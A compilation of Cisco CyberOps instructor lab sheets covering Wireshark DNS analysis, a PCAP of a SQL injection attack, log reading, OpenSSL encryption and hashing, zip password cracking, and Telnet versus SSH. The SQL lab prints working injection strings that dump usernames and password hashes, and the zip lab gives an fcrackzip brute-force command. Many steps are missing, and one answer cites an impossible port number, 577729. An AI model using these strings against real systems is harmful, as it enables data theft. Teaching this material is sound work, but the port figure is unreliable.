Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 12 www.netacad.com
Lab – Exploring DNS Traffic
c. In the Command Prompt, type ipconfig /flushdns and press Enter to clear the DNS cache.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 12 www.netacad.com
Lab – Exploring DNS Traffic
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 12 www.netacad.com
Lab – Exploring DNS Traffic
What are the source and destination MAC addresses? Which network interfaces are these MAC
addresses associated with?
____________________________________________________________________________________
____________________________________________________________________________________
In this example, the source MAC address is associated with the NIC on the PC and the destination MAC
address is associated with the default gateway. If there is a local DNS server, the destination MAC
address would be the MAC address of the local DNS server.
e. Expand Internet Protocol Version 4. Observe the source and destination IPv4 addresses.
What are the source and destination IP addresses? Which network interfaces are these IP addresses
associated with?
____________________________________________________________________________________
____________________________________________________________________________________
In this example, the source IP address is associated with the NIC on the PC and the destination IP
address is associated with the default gateway.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 12 www.netacad.com
Lab – Exploring DNS Traffic
f. Expand the User Datagram Protocol. Observe the source and destination ports.
What are the source and destination ports? What is the default DNS port number?
____________________________________________________________________________________
____________________________________________________________________________________
The source port number is 577729 and the destination port is 53, which is the default DNS port number.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 12 www.netacad.com
Lab – Exploring DNS Traffic
g. Open a Command Prompt and enter arp –a and ipconfig /all to record the MAC and IP addresses of the
PC.
Compare the MAC and IP addresses in the Wireshark results to the results from the ipconfig /all results.
What is your observation?
____________________________________________________________________________________
____________________________________________________________________________________
The IP and MAC addresses captured in the Wireshark results are the same as the addresses listed in
ipconfig /all command.
h. Expand Domain Name System (query) in the Packet Details pane. Then expand the Flags and
Queries.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 12 www.netacad.com
Lab – Exploring DNS Traffic
i. Observe the results. The flag is set to do the query recursively to query for the IP address to
www.cisco.com.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 12 www.netacad.com
Lab – Exploring DNS Traffic
What are the source and destination MAC and IP addresses and port numbers? How do they compare to
the addresses in the DNS query packets?
____________________________________________________________________________________
____________________________________________________________________________________
The source IP, MAC address, and port number in the query packet are now destination addresses. The
destination IP, MAC address, and port number in the query packet are now source addresses.
b. Expand Domain Name System (response). Then expand the Flags, Queries, and Answers.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 12 www.netacad.com
Lab – Exploring DNS Traffic
c. Observe the results. Can the DNS server do recursive queries? _________________________________
Yes, the DNS can handle recursive queries.
d. Observe the CNAME and A records in the Answers details. How do the results compare to nslookup
results?
____________________________________________________________________________________
The results in the Wireshark should be the same as the results from nslookup in the Command Prompt.
Reflection
1. From the Wireshark results, what else can you learn about the network when you remove the filter?
_______________________________________________________________________________________
_______________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 12 www.netacad.com
Lab – Exploring DNS Traffic
Without the filters, the results display other packets, such as DHCP and ARP. From these packets and the
information contained within these packets, you can learn about other devices and their functions within the
LAN.
2. How can an attacker use Wireshark to compromise your network security?
_______________________________________________________________________________________
_______________________________________________________________________________________
An attacker on the LAN can use Wireshark to observe the network traffic and can get sensitive information in
the packet details if the traffic is not encrypted.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 12 www.netacad.com
Lab – Attacking a mySQL Database (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
In this lab, you will view a PCAP file from a previous attack against a SQL database.
Background / Scenario
SQL injection attacks allow malicious hackers to type SQL statements in a web site and receive a response
from the database. This allows attackers to tamper with current data in the database, spoof identities, and
miscellaneous mischief.
A PCAP file has been created for you to view a previous attack against a SQL database. In this lab, you will
view the SQL database attacks and answer the questions.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Part 1: Open the PCAP file and follow the SQL database attacker
You will use Wireshark, a common network packet analyzer, to analyze network traffic. After starting
Wireshark, you will open a previously saved network capture and view a step by step SQL injection attack
against a SQL database.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 18 www.netacad.com
Lab – Attacking a mySQL Database
b. Click on Applications > CyberOPS > Wireshark on the desktop and browse to the Wireshark
application.
c. In the Wireshark application, click Open in the middle of the application under Files.
d. Browse through the /home/analyst/ directory and search for lab.support.files. In the lab.support.files
directory and open the SQL_Lab.pcap file.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 18 www.netacad.com
Lab – Attacking a mySQL Database
e. The PCAP file opens within Wireshark and displays the captured network traffic. This capture file extends
over an 8-minute (441 second) period, the duration of this SQL injection attack.
What are the two IP addresses involved in this SQL injection attack based on the information displayed?
____________________________________________________________________________________
10.0.2.4 and 10.0.2.15
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 18 www.netacad.com
Lab – Attacking a mySQL Database
The source traffic is shown in red. The source has sent a GET request to host 10.0.2.15. In blue, the
destination device is responding back to the source.
b. Click Find and enter 1=1. Search for this entry. When the text is located, click Cancel in the Find text
search box. The string 1=1
c. The attacker has entered a query (1=1) into a UserID search box on the target 10.0.2.15 to see if the
application is vulnerable to SQL injection. Instead of the application responding with a login failure
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 18 www.netacad.com
Lab – Attacking a mySQL Database
message, it responded with a record from a database. The attacker has verified they can input an SQL
command and the database will respond. The search string 1=1 creates an SQL statement that will be
always true. In the example, it does not matter what is entered into the field, it will always be true.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 18 www.netacad.com
Lab – Attacking a mySQL Database
a. Within the Wireshark capture, right-click line 19, and select Follow HTTP Stream.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 18 www.netacad.com
Lab – Attacking a mySQL Database
b. Click Find and enter 1=1. Search for this entry. When the text is located, click Cancel in the Find text
search box.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 18 www.netacad.com
Lab – Attacking a mySQL Database
c. The attacker has entered a query (1’ or 1=1 union select database(), user()#) into a UserID search box on
the target 10.0.2.15. Instead of the application responding with a login failure message, it responded with
the following information:
The database name is dvwa and the database user is dvwa@localhost. There are also multiple user
accounts being displayed.
d. Close the Follow HTTP Stream window.
e. Click “Clear” to display the entire Wireshark conversation.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 18 www.netacad.com
Lab – Attacking a mySQL Database
a. Within the Wireshark capture, right-click line 22 and select Follow HTTP Stream. In red, the source traffic
is shown and is sending the GET request to host 10.0.2.15. In blue, the destination device is responding
back to the source.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 18 www.netacad.com
Lab – Attacking a mySQL Database
b. Click Find and type in 1=1. Search for this entry. When the text is located, click Cancel in the Find text
search box.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 18 www.netacad.com
Lab – Attacking a mySQL Database
c. The attacker has entered a query (1’ or 1=1 union select null, version ()#) into a UserID search box on the
target 10.0.2.15 to locate the version identifier. Notice how the version identifier is at the end of the output
right before the </pre>.</div> closing HTML code.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 18 www.netacad.com
Lab – Attacking a mySQL Database
a. Within the Wireshark capture, right-click on line 25 and select Follow HTTP Stream. The source is shown
in red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to
the source.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 12 of 18 www.netacad.com
Lab – Attacking a mySQL Database
b. Click Find and enter users. Search for the entry displayed below. When the text is located, click Cancel
in the Find text search box.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 13 of 18 www.netacad.com
Lab – Attacking a mySQL Database
c. The attacker has entered a query (1’or 1=1 union select null, table_name from
information_schema.tables#) into a UserID search box on the target 10.0.2.15 to view all the tables in the
database. This provides a huge output of many tables, as the attacker specified “null” without any further
specifications.
What would the modified command of (1' OR 1=1 UNION SELECT null, column_name FROM
INFORMATION_SCHEMA.columns WHERE table_name='users') do for the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
The database would respond with a much shorter output filtered by the occurrence of the word “users”.
d. Close the Follow HTTP Stream window.
e. Click Clear to display the entire Wireshark conversation.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 14 of 18 www.netacad.com
Lab – Attacking a mySQL Database
a. Within the Wireshark capture, right-click line 28 and select Follow HTTP Stream. The source is shown in
red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the
source.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 15 of 18 www.netacad.com
Lab – Attacking a mySQL Database
b. Click Find and type in 1=1. Search for this entry. When the text is located, click Cancel in the Find text
search box.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 16 of 18 www.netacad.com
Lab – Attacking a mySQL Database
The attacker has entered a query (1’or 1=1 union select user, password from users#) into a UserID
search box on the target 10.0.2.15 to pull usernames and password hashes!
Reflection
1. What is the risk of having platforms use the SQL langauge?
_______________________________________________________________________________________
_______________________________________________________________________________________
Web sites are commonly database driven and use the SQL language. The severity of a SQL injection attack
is up to the attacker.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 17 of 18 www.netacad.com
Lab – Attacking a mySQL Database
2. Browse the Internet and perform a search on “prevent SQL injection attacks”. What are 2 methods or steps
that can be taken to prevent SQL injection attacks?
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers will vary, but should include:
Filter user input
Deploy a web application firewall
Disable unnecessary database features/capabilities
Monitor SQL statements
Use parameters with stored procedures
Use parameters with dynamic SQL
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 18 of 18 www.netacad.com
Lab – Reading Server Logs (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Reading Log Files with Cat, More, and Less
Part 2: Log Files and Syslog
Part 3: Log Files and Journalctl
Background / Scenario
Log files are an important tool for troubleshooting and monitoring. Different application generates different log
files, each one containing its own set of fields and information. While the field structure may change between
log files, the tools used to read them are mostly the same. In this lab, you will learn about common tools used
to read log file and practice using them.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Part 1: Reading Log Files with Cat, More, Less, and Tail
Log files are files used to record specific events triggered by applications, services or the operating system
itself. Usually stored as plain-text, log files are an indispensable resource for troubleshooting.
© Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Reading Server Logs
Another popular tool for visualizing log files is more. Similar to cat, more is also a UNIX command-line-
based tool that can open a text-based file and display the file contents on the screen. The main difference
between cat and more is that more supports page breaks, allowing the user to view the contents of a file,
one page at a time. This can be done using the space bar to display the next page.
c. From the same terminal window, use the command below to display the contents of the logstash-
tutorial.log file again. This time using more:
analyst@secOps ~$ more /home/analyst/lab.support.files/logstash-tutorial.log
The contents of the file should scroll through the terminal window and stop when one page is displayed.
Press the space bar to advance to the next page. Press enter to display the next line of text.
What is the drawback of using more?
____________________________________________________________________________________
____________________________________________________________________________________
Depending on the terminal application in use, it may not be easy to display again pages that were already
displayed.
Building on the functionality of cat and more, the less tool allows the contents of a file to be displayed
page by page, while also allowing the user the choice of viewing previously displayed pages.
d. From the same terminal window, use less to display the contents the logstash-tutorial.log file again:
analyst@secOps ~$ less /home/analyst/lab.support.files/logstash-tutorial.log
The contents of the file should scroll through the terminal window and stop when one page is displayed.
Press the space bar to advance to the next page. Press enter to display the next line of text. Use the up
and down arrow keys to move back and forth through the text file.
Use the “q” key on your keyboard to exit the less tool.
e. The tail command displays the end of a text file. By default, tail displays the last ten lines of the file.
Use tail to display the last ten lines of the /home/analyst/lab.support.files/logstash-tutorial.log file.
analyst@secOps ~$ tail /home/analyst/lab.support.files/logstash-tutorial.log
218.30.103.62 - - [04/Jan/2015:05:28:43 +0000] "GET /blog/geekery/xvfb-firefox.html
HTTP/1.1" 200 10975 "-" "Sogou web
spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
218.30.103.62 - - [04/Jan/2015:05:29:06 +0000] "GET /blog/geekery/puppet-facts-into-
mcollective.html HTTP/1.1" 200 9872 "-" "Sogou web
spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
198.46.149.143 - - [04/Jan/2015:05:29:13 +0000] "GET /blog/geekery/disabling-battery-
in-ubuntu-
vms.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+semicomplete%2Fmai
n+%28semicomplete.com+-+Jordan+Sissel%29 HTTP/1.1" 200 9316 "-" "Tiny Tiny RSS/1.11
(http://tt-rss.org/)"
198.46.149.143 - - [04/Jan/2015:05:29:13 +0000] "GET /blog/geekery/solving-good-or-
bad-
problems.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+semicomplete%
2Fmain+%28semicomplete.com+-+Jordan+Sissel%29 HTTP/1.1" 200 10756 "-" "Tiny Tiny
RSS/1.11 (http://tt-rss.org/)"
218.30.103.62 - - [04/Jan/2015:05:29:26 +0000] "GET /blog/geekery/jquery-interface-
puffer.html%20target= HTTP/1.1" 200 202 "-" "Sogou web
spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
218.30.103.62 - - [04/Jan/2015:05:29:48 +0000] "GET /blog/geekery/ec2-reserved-vs-
ondemand.html HTTP/1.1" 200 11834 "-" "Sogou web
spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
66.249.73.135 - - [04/Jan/2015:05:30:06 +0000] "GET /blog/web/firefox-scrolling-
fix.html HTTP/1.1" 200 8956 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Reading Server Logs
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Reading Server Logs
b. To watch tail –f in action, open a second terminal window. Arrange your display so you can see both
terminal windows. Re-size the windows so you can see them both at the same, as shown in the image
below:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Reading Server Logs
The command above appends the "this is a new entry to the monitored log file" message to the
/home/analyst/lab.support.files/logstash-tutorial.log file. Because tail –f is monitoring the file at the
moment a line is added to the file. The top window should display the new line in real-time.
d. Press CTRL + C to stop the execution of tail -f and return to the shell prompt.
e. Close one of the two terminal windows.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Reading Server Logs
b. Notice that the /var/log/syslog file only stores the most recent log entries. To keep the syslog file small,
the operating system periodically rotates the log files, renaming older log files as syslog.1, syslog.2, and
so on.
Use the cat command to list older syslog files:
analyst@secOps ~$ sudo cat /var/log/syslog.2
analyst@secOps ~$ sudo cat /var/log/syslog.3
analyst@secOps ~$ sudo cat /var/log/syslog.4
Can you think of a reason why it is so important to keep the time and date of computers correctly
synchronized?
____________________________________________________________________________________
____________________________________________________________________________________
Log systems use log files to record and store events and the date/time they took place. If the system
clock is incorrect or not synchronized, it will make the troubleshooting process more difficult.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Reading Server Logs
Reflection
Compare Syslog and Journald. What are the advantages and disadvantages of each?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Syslog is a standard solution for logging. It uses plaintext files but has a lack of structure. The information is
not centralized and it may be necessary to search through lots of unrelated information to find relevant
information. Syslog does not provide a way to separate messages by the related applications. Furthermore,
the plaintext files may require rotation to keep them from become too large. Journald replaced plaintext log
files with special file format for log messages. This makes it easier to find relevant log messages.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Class Activity – Creating Codes (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Secret codes have been used for thousands of years. Ancient Greeks and Spartans used a scytale (rhymes
with Italy) to encode messages. Romans used a Caesar cipher to encrypt messages. A few hundred years
ago, the French used the Vigenère cipher to encode messages. Today, there are many ways that messages
can be encoded.
In this lab, you will create and encrypt messages using online tools.
Background / Scenario
There are several encryption algorithms that can be used to encrypt and decrypt messages. Virtual Private
Networks (VPNs) are commonly used to automate the encryption and decryption process.
In this lab, you and a lab partner will use an online tool to encrypt and decrypt messages.
Required Resources
PC with Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Class Activity – Creating Codes
b. Enter a secret key. Some tools may ask you to confirm the password. In our example, we used the
cyberops secret key.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Class Activity – Creating Codes
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab - Encrypting and Decrypting Data Using OpenSSL (Instructor
Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Encrypting Messages with OpenSSL
Part 2: Decrypting Messages with OpenSSL
Background / Scenario
OpenSSL is an open source project that provides a robust, commercial-grade, and full-featured toolkit for the
Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. It is also a general-purpose
cryptography library. In this lab, you will use OpenSSL to encrypt and decrypt text messages.
Note: While OpenSSL is the de facto cryptography library today, the use presented in this lab is NOT
recommended for robust protection. Below are two security problems with this lab:
1) The method described in this lab uses a weak key derivation function. The ONLY security is
introduced by a very strong password.
2) The method described in this lab does not guarantee the integrity of the text file.
This lab should be used for instructional purposes only. The methods presented here should NOT be used to
secure truly sensitive data.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Lab – Encrypting and Decrypting Data using OpenSSL
I am writing this letter to thank you for the chocolate chip cookies you sent
me. I got them this morning and I have already eaten half of the box! They
are absolutely delicious!
f. When the process is finished, use the cat command again to display the contents of the message.enc
file.
[analyst@secOps lab.support.files]$ cat message.enc
Did the contents of the message.enc file display correctly? What does it look like? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
No. The file seems broken as just symbols are displayed. The symbols are shown because OpenSSL has
generated a binary file.
g. To make the file readable, run the OpenSSL command again, but this time add the -a option. The -a
option tells OpenSSL to encode the encrypted message using a different encoding method of Base64
before storing the results in a file.
Note: Base64 is a group of similar binary-to-text encoding schemes used to represent binary data in an
ASCII string format.
[analyst@secOps lab.support.files]$ openssl aes-256-cbc -a -in
letter_to_grandma.txt -out message.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
h. Once again, use the cat command to display the contents of the, now re-generated, message.enc file:
Note: The contents of message.enc will vary.
[analyst@secOps lab.support.files]$ cat message.enc
U2FsdGVkX19ApWyrn8RD5zNp0RPCuMGZ98wDc26u/vmj1zyDXobGQhm/dDRZasG7
rfnth5Q8NHValEw8vipKGM66dNFyyr9/hJUzCoqhFpRHgNn+Xs5+TOtz/QCPN1bi
08LGTSzOpfkg76XDCk8uPy1hl/+Ng92sM5rgMzLXfEXtaYe5UgwOD42U/U6q73pj
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Lab – Encrypting and Decrypting Data using OpenSSL
a1ksQrTWsv5mtN7y6mh02Wobo3A1ooHrM7niOwK1a3YKrSp+ZhYzVTrtksWDl6Ci
XMufkv+FOGn+SoEEuh7l4fk0LIPEfGsExVFB4TGdTiZQApRw74rTAZaE/dopaJn0
sJmR3+3C+dmgzZIKEHWsJ2pgLvj2Sme79J/XxwQVNpw=
[analyst@secOps lab.support.files]$
Is message.enc displayed correctly now? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
Yes. While message.enc is encrypted, it is now correctly displayed because it has been converted from
binary to text and encoded with Base64.
Can you think of a benefit of having message.enc Base64-encoded?
____________________________________________________________________________________
____________________________________________________________________________________
The encrypted message can now be copied and pasted in an email message, for example.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab - Encrypting and Decrypting Data using a Hacker Tool
(Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Create and Encrypt Files
Part 2: Recover Encrypted Zip File Passwords
Background / Scenario
What if you work for a large corporation that had a corporate policy regarding removable media? Specifically,
it states that only encrypted zipped documents can be copied to portable USB flash drives.
In this scenario, the Chief Financial Officer (CFO) is out-of-town on business and has contacted you in a
panic with an emergency request for help. While out-of-town on business, he attempted to unzip important
documents from an encrypted zip file on a USB drive. However, the password provided to open the zip file is
invalid. The CFO contacted you to see if there was anything you could to do.
Note: The provided scenario is simple and only serves as an example.
There may some tools available to recover lost passwords. This is especially true in situations such as this
where the cybersecurity analyst could acquire pertinent information from the CFO, such as the length of the
password, and an idea of what it could be. Knowing pertinent information dramatically helps when attempting
to recover passwords.
Examples of password recovery utilities and programs include hashcat, John the Ripper, Lophtcrack, and
others. In our scenario, we will use fcrackzip which is a simple Linux utility to recover the passwords of
encrypted zip files.
Consider that these same tools can be used by cybercriminals to discover unknown passwords. Although
they would not have access to some pertinent information, with time, it is possible to discover passwords to
open encrypted zip files. The amount of time required depends on the password strength and the password
length. Longer and more complex passwords (mix of different types of characters) are more secure.
In this lab, you will:
Create and encrypt sample text files.
Decrypt the encrypted zip file.
Note: This lab should be used for instructional purposes only. The methods presented here should NOT be
used to secure truly sensitive data.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 6 www.netacad.com
Lab – Encrypting and Decrypting Data Using a Hacker Tool
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 6 www.netacad.com
Lab – Encrypting and Decrypting Data Using a Hacker Tool
d. Verify that all zipped files have been created using the ls -l f* command.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 6 www.netacad.com
Lab – Encrypting and Decrypting Data Using a Hacker Tool
In our examples, we will be using the –v, -u, and -l command options. The -l option will be listed last
because it specifies the possible password length. Feel free to experiment with other options.
Note: The password length could have been set to less than 1 – 4 characters.
How long does it take to discover the password?
____________________________________________________________________________________
It takes less than a second.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 6 www.netacad.com
Lab – Encrypting and Decrypting Data Using a Hacker Tool
b. Now attempt to recover the password of the file-2.zip file. Recall, that a two-character password was
used to encrypt the file. Therefore, use the following fcrackzip command:
[analyst@secOps Zip-Files]$ fcrackzip –vul 1-4 file-2.zip
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 6 www.netacad.com
Lab – Encrypting and Decrypting Data Using a Hacker Tool
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 6 www.netacad.com
Lab - Examining Telnet and SSH in Wireshark (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Examine a Telnet Session with Wireshark
Part 2: Examine an SSH Session with Wireshark
Background / Scenario
In this lab, you will configure a router to accept SSH connectivity and use Wireshark to capture and view
Telnet and SSH sessions. This will demonstrate the importance of encryption with SSH.
Required Resources
CyberOps Workstation VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 4 www.netacad.com
Lab - Examining Telnet and SSH in Wireshark
[analyst@secOps ~]$
e. Stop the Wireshark capture after you have provided the user credentials.
c. The Follow TCP Stream window displays the data for your Telnet session with the CyberOps Workstation
VM. The entire session is displayed in plaintext, including your password. Notice that the username that
you entered is displayed with duplicate characters. This is caused by the echo setting in Telnet to allow
you to view the characters that you type on the screen.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 4 www.netacad.com
Lab - Examining Telnet and SSH in Wireshark
d. After you have finished reviewing your Telnet session in the Follow TCP Stream window, click Close.
e. Type exit at the terminal to exit the Telnet session.
[analyst@secOps ~]$ exit
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 4 www.netacad.com
Lab - Examining Telnet and SSH in Wireshark
f. Examine the Follow TCP Stream window of your SSH session. The data has been encrypted and is
unreadable. Compare the data in your SSH session to the data of your Telnet session.
Reflection
Why is SSH preferred over Telnet for remote connections?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers may vary.
Similar to Telnet, SSH is used to access and execute commands on a remote system. However, SSH
protocol allows users to communicate with remote system securely by encrypting the communications. This
prevents any sensitive information, such as usernames and passwords, from being captured during the
transmission.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 4 www.netacad.com
Lab – Hashing Things Out (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Creating Hashes with OpenSSL
Part 2: Verifying Hashes
Background / Scenario
Hash functions are mathematical algorithms designed to take data as input and generate a fixed-size, unique
string of characters, also known as the hash. Designed to be fast, hash functions are very hard to reverse; it
is very hard to recover the data that created any given hash, based on the hash alone. Another important
property of hash functions is that even the smallest change done to the input data yields a completely
different hash.
While OpenSSL can be used to generate and compare hashes, other tools are available. Some of these tools
are also included in this lab.
Required Resources
CyberOps Workstation VM
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 3 www.netacad.com
Lab – Hashing Things Out
Notice the format of the output. OpenSSL displays the hashing algorithm used, MD5, followed by the
name of file used as input data. The MD5 hash itself is displayed after the equal (‘=’) sign.
e. Hash functions are useful for verifying the integrity of the data regardless of whether it is an image, a
song, or a simple text file. The smallest change results in a completely different hash. Hashes can be
calculated before and after transmission, and then compared. If the hashes do not match, then data was
modified during transmission.
Let’s modify the letter_to_grandma.txt text file and recalculate the MD5 hash. Issue the command below
to open nano, a command-line text editor.
[analyst@secOps lab.support.files]$ nano letter_to_grandma.txt
Using nano, change the first sentence from ‘Hi Grandma’ to ‘Hi Grandpa’. Notice we are changing only
one character, ‘m’ to ‘p’. After the change has been made, press the <CONTROL+X> keys to save the
modified file. Press ‘Y’ to confirm the name and save the file. Press the <Enter> key and you will exit out
of nano to continue onto the next step.
f. Now that the file has been modified and saved, run the same command again to generate a MD5 hash of
the file.
[analyst@secOps lab.support.files]$ openssl md5 letter_to_grandma.txt
MD5(letter_to_grandma.txt)= dca1cf6470f0363afb7a65a4148fb442
Is the new hash different that hash calculated in item (d)? How different?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Yes. The new hash is completely different than the previous hash.
g. MD5 hashes are considered weak and susceptible to attacks. More robust hashing algorithms include
SHA-1 and SHA-2. To generate a SHA-1 hash of the letter_to_grandma.txt file, use the command below:
[analyst@secOps lab.support.files]$ openssl sha1 letter_to_grandma.txt
SHA1(letter_to_grandma.txt)= 08a835c7bcd21ff57d1236726510c79a0867e861
[analyst@secOps lab.support.files]$
Note: Other tools exist to generate hashes. Namely, md5sum, sha1sum, and sha256sum can be used to
generate MD5, SHA-1 and SHA-2-256 hashes, respectively.
h. Use md5sum and sha1sum to generate MD5 and SHA-1 hash of the letter_to_grandma.txt file:
[analyst@secOps lab.support.files]$ md5sum letter_to_grandma.txt
dca1cf6470f0363afb7a65a4148fb442 letter_to_grandma.txt
Do the hashes generated with md5sum and sha1sum match the images generated in items (g) and (h),
respectively? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Yes. While different tools are used, they use the same hashing algorithm and input data.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 3 www.netacad.com
Lab – Hashing Things Out
Note: While SHA-1 has not yet been effectively compromised, computers are becoming more and more
powerful. It is expected that this natural evolution will soon make it possible for attackers to break SHA-1.
In a proactive move, SHA-2 is now the recommended standard for hashing. It is also worth noting that
SHA-2 is in fact, a family of hashing algorithms. The SHA-2 family is comprised of six hash functions,
namely SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256. These functions generate
hash values that are 224, 256, 384 or 512 bits long, respectively.
Note: The CyberOPS VM only includes support for SHA-2-224, SHA-2-256, and SHA-2-512
(sha224sum, sha256sum, and sha512sum, respectively).
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 3 www.netacad.com
Lab – Certificate Authority Stores (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Certificates Trusted by Your Browser
Part 2: Checking for Man-In-Middle
Background / Scenario
As the web evolved, so did the need for security. HTTPS (where the ‘S’ stands for security) along with the
concept of a Certificate Authority was introduced by Netscape back in 1994 and is still used today. In this lab,
you will:
List all the certificates trusted by your browser (completed on your computer)
Use hashes to detect if your Internet connection is being intercepted (completed in the CyberOps VM)
Required Resources
CyberOps Workstation VM
Internet access
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 9 www.netacad.com
Lab – Certificate Authority Stores
b. Click the three dot icon on the far right of the address bar to display Chrome’s options.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 9 www.netacad.com
Lab – Certificate Authority Stores
e. In the Certificates window that opens, select the Trusted Root Certification Authorities tab. A window
opens that shows all certificates and certificate authorities trusted by Chrome.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 9 www.netacad.com
Lab – Certificate Authority Stores
a. Open Firefox and click the Menu icon. The Menu icon is located on the far right of the Firefox window,
next to the address bar.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 9 www.netacad.com
Lab – Certificate Authority Stores
d. A window opens that shows the certificates and certification authorities trusted by Firefox.
